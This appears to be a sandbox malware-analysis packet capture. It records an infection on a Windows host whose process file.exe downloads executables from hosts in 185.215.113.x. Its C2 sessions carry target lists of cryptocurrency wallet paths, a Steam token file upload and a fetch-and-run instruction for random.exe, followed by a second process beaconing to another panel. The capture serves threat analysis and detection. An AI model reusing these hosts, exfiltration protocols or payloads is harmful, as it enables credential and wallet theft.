Nov 24, 2024 04:20:54.915366888 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 04:20:56.080365896 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 04:20:57.202724934 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:57.260078907 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="message"wallets------EBKKKEGIDBGHIDGDHDBF--
Nov 24, 2024 04:20:57.819559097 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 04:20:57.871822119 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="message"files------CFBFHIEBKJKFHIEBFBAE--
Nov 24, 2024 04:20:58.329054117 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:58.350068092 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"------AFCBAEBAEBFHCAKFCAKE--
Nov 24, 2024 04:20:59.298777103 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:59.329190016 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"ybncbhylepme------JJDHIDBFBFHIJKFHCGIE--
Nov 24, 2024 04:20:59.812187910 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49964	185.215.113.16	80	884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:20:59.954384089 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 24, 2024 04:21:01.346604109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:21:01 GMT Content-Type: application/octet-stream Content-Length: 1921024 Last-Modified: Sun, 24 Nov 2024 03:04:57 GMT Connection: keep-alive ETag: "674297d9-1d5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PL-@WkDL<L @.rsrcD@.idata @ +@dkmnrssd@14@tqafgsswL*@.taggant0 L".@
Nov 24, 2024 04:21:01.346632004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:21:01.346647978 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:21:01.346744061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 04:21:01.346771002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: w\Shw<#Q>wR:;
Nov 24, 2024 04:21:01.346788883 CET	1236	IN	Data Raw: 0e c0 45 ca d6 ff 35 1c a5 3c da 37 e2 cc 50 6b be cf b1 57 3e 3b 9e 11 27 93 9f 97 3d 80 78 0f 7e 2f da 43 49 97 f4 4d a6 ff 01 78 eb a2 5f 68 aa 91 c1 53 47 33 15 0a ee fe b0 30 fe 2e 3a f0 b1 3b 6e 95 3e 2e 32 fc 2a cf 0c a0 dc cb b3 0a a7 13 Data Ascii: E5<7PkW>;'=x~/CIMx_hSG30.:;n>.2}W^f+.\|^\|32mN&EKr.b&^1o=_0>FSQnOF,I]*N6Kt7w^G3u/\&^^GM~Z
Nov 24, 2024 04:21:01.346805096 CET	1236	IN	Data Raw: d8 1f 54 73 dd f2 1c e7 df 4b fa 88 35 44 ab a5 96 11 59 2f 0b 13 4a 24 ad 4e a1 9f 27 b6 22 a9 d5 6f 41 a1 8c 99 f9 52 cc ac 51 de 5c 0e 8e f0 95 dd b1 3d 7b a1 10 31 fb 52 58 cf 5d 45 60 b5 69 15 b2 78 a6 cb 8d ed 3a 74 3a 2a 40 ee 72 c4 c3 ff Data Ascii: TsK5DY/J$N'"oARQ\={1RX]E`ix:t:*@r=v>s?k7x.e8yD4y_uK%]`KW3ryw\ppP_zqW!kj'p#l)jr%$4bQ~J
Nov 24, 2024 04:21:01.346821070 CET	328	IN	Data Raw: fb 13 69 62 00 2c a4 c7 2a 4f 25 cc 9b d9 b1 6e ac fe af fb 25 86 9c 76 fd 56 b2 5b 40 5e dd 72 eb ae c1 1b 22 2d c7 84 d6 64 84 2d bc 66 b8 0b a5 4c 70 c4 fa 12 b3 54 dc 55 fd 66 42 98 15 09 25 49 0c f5 2c 3a 3f f1 35 8f 18 69 a5 53 22 58 ed 13 Data Ascii: ib,*O%n%vV[@^r"-d-fLpTUfB%I,:?5iS"X5W<=ry;$iI:W<"mVo.1yGjgL9wCbE#l.4,N#ZjsqET<=!~wb-rnwQ%%S
Nov 24, 2024 04:21:01.347023010 CET	1236	IN	Data Raw: a9 4c 43 b8 68 52 67 ee 85 9e d8 c0 fa 71 84 ec e6 dc dd 17 b5 10 57 45 1b 05 c9 9c d4 8d e1 68 78 11 8f 2d a9 33 8d 1b 22 19 11 7e d1 6f 8f 51 60 54 86 4b ad 0c f2 e9 99 38 77 f1 f0 47 fe 01 2a 3a d8 29 e4 0c c1 50 0f 02 9d 67 57 8a 19 8c 24 00 Data Ascii: LChRgqWEhx-3"~oQ`TK8wG:)PgW$k4uia@Zs2goW8j3AYGNB14't(:6I 0i&$1]L/+BrfEy8lo%>];',{iw3o*J?q
Nov 24, 2024 04:21:01.347103119 CET	224	IN	Data Raw: ca 32 80 07 a2 90 61 73 db 4d ba 2b ab b2 55 19 5f e1 a9 95 3a f7 a5 cb 22 25 7c 51 a5 21 d5 a0 15 68 a6 f9 fd 7f c5 4b 9b 90 18 e5 42 50 e5 f1 3e 7f 9a 5a 10 a3 99 2a 0e 31 d5 ef 54 1e 7b df 55 2e 5c a4 3e 47 0e a8 c8 19 a0 ab 66 a7 02 6f b0 d7 Data Ascii: 2asM+U_:"%\|Q!hKBP>Z*1T{U.\>GfoAU`(>XjrpTV&66TmvY3dvd!3#{^C1dB(7<c(Oc7kD8r@@VKpK
Nov 24, 2024 04:21:01.466411114 CET	1236	IN	Data Raw: ca c0 ec 05 38 bf 30 08 4f 93 d1 e8 7c 31 d2 89 46 0b 6f 72 78 21 8e f8 a4 72 12 9c 71 fb 7a 67 ba 5f 28 5f ce 58 d3 57 23 5a fe cf e4 87 ec 81 fe e5 f8 f7 b5 0b 9d 23 de 03 21 f5 63 98 d2 03 25 32 56 03 e7 5e 5b 69 75 1b 48 65 21 62 7d d0 20 32 Data Ascii: 80O\|1Forx!rqzg_(_XW#Z#!c%2V^[iuHe!b} 2:vcX/>Vm,JJW3W-//tG'sk4qa'1v+=^M}f=t&=J!(\-:XQ3,+4DA"mN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49977	185.215.113.206	80	884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:21:05.185054064 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDGIJEGHDAECAKECAFCA--
Nov 24, 2024 04:21:07.011684895 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:21:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50126	185.215.113.43	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:22:06.251480103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:22:07.592307091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50134	185.215.113.43	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:22:09.228732109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 04:22:10.641599894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 61 37 0d 0a 20 3c 63 3e 31 30 30 38 35 38 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 37 64 63 34 34 35 34 62 62 23 31 30 30 38 35 39 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 37 63 32 31 32 31 63 65 61 30 34 62 34 31 61 31 63 30 33 37 31 38 31 38 63 63 33 34 38 39 35 62 64 39 61 35 35 33 36 65 36 23 31 30 30 38 35 39 35 30 34 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 65 63 30 31 35 31 64 65 62 30 62 62 33 31 66 31 36 30 33 35 62 39 31 64 62 62 30 34 66 62 65 38 36 39 61 34 30 33 64 62 32 23 31 30 30 38 35 39 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 4a7 